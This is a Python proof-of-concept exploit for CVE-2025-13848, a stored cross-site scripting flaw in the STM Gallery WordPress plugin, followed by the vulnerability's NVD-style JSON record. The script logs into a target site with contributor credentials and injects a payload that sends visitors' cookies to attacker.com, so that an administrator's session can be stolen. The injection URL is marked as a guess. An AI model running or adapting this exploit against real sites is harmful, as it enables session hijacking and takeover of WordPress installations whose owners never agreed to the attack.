CVE-2025-13848

# CVE-2025-13848 PoC - STM Gallery Stored XSS # Requires WordPress Contributor-level access import requests from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_stm_gallery_xss(): """ Exploit for CVE-2025-13848: Stored XSS in STM Gallery 'composicion' parameter """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload via 'composicion' parameter # Target: STM Gallery plugin settings or gallery content edit page # The exact URL depends on plugin structure inject_url = f"{TARGET_URL}/wp-admin/admin.php?page=stm-gallery-settings" # Malicious payload - cookie stealing XSS xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" inject_data = { 'composicion': xss_payload, 'submit': 'Save Changes' } inject_response = session.post(inject_url, data=inject_data) if inject_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] When admin visits affected page, cookies will be sent to attacker") else: print("[-] Injection failed") return False return True if __name__ == "__main__": exploit_stm_gallery_xss()

{"cve": {"id": "CVE-2025-13848", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:50.440", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The STM Gallery 1.9 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'composicion' parameter in all versions up to, and including, 0.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin STM Gallery 1.9 para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'composicion' en todas las versiones hasta la 0.9, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/stm-gallery/tags/0.9/stmgallery_v.0.9.php#L121", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/stm-gallery/trunk/stmgallery_v.0.9.php#L121", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/393d6e4a-af05-48ac-8921-f298932245a4?source=cve", "source": "[email protected]"}]}}